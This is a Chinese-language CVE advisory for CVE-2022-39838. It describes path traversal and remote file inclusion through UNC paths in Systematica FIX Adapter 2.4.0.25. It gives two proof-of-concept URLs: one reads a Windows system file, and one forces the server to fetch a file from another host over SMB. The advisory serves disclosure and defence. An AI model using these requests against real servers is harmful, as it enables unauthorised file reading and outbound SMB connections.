CVE-2022-39838

[建议描述]

Systematica FIX Adapter (ALFAFX) 2.4.0.25 2017年9月13日版本允许通过UNC共享路径名进行远程文件包含，也允许通过绝对路径遍历到本地路径名。

[附加信息]

PoC：

http://192.168.88.11:8888/info?page=logfile&file=C:\Windows\System32\drivers\etc\hosts

http://192.168.88.11:8888/info?page=logfile&file=\\192.168.88.100\rfi\test.txt

[漏洞类型]

访问控制不当

[供应商产品]

Systematica

[受影响产品代码库]

Systematica FIX Adapter (ALFAFX) - 2.4.0.25（构建于2017年9月13日）

[攻击类型]

远程

[影响信息泄露]

是

[攻击向量]

远程用户可通过绝对路径访问操作系统中的任意文件。同时，远程用户可强制易受攻击的服务器通过SMB从另一台机器请求文件。

[发现者]

Ivashchenko Sergey (Jet Infosystems, jet.su)

[参考]

http://systematicalpha.com/company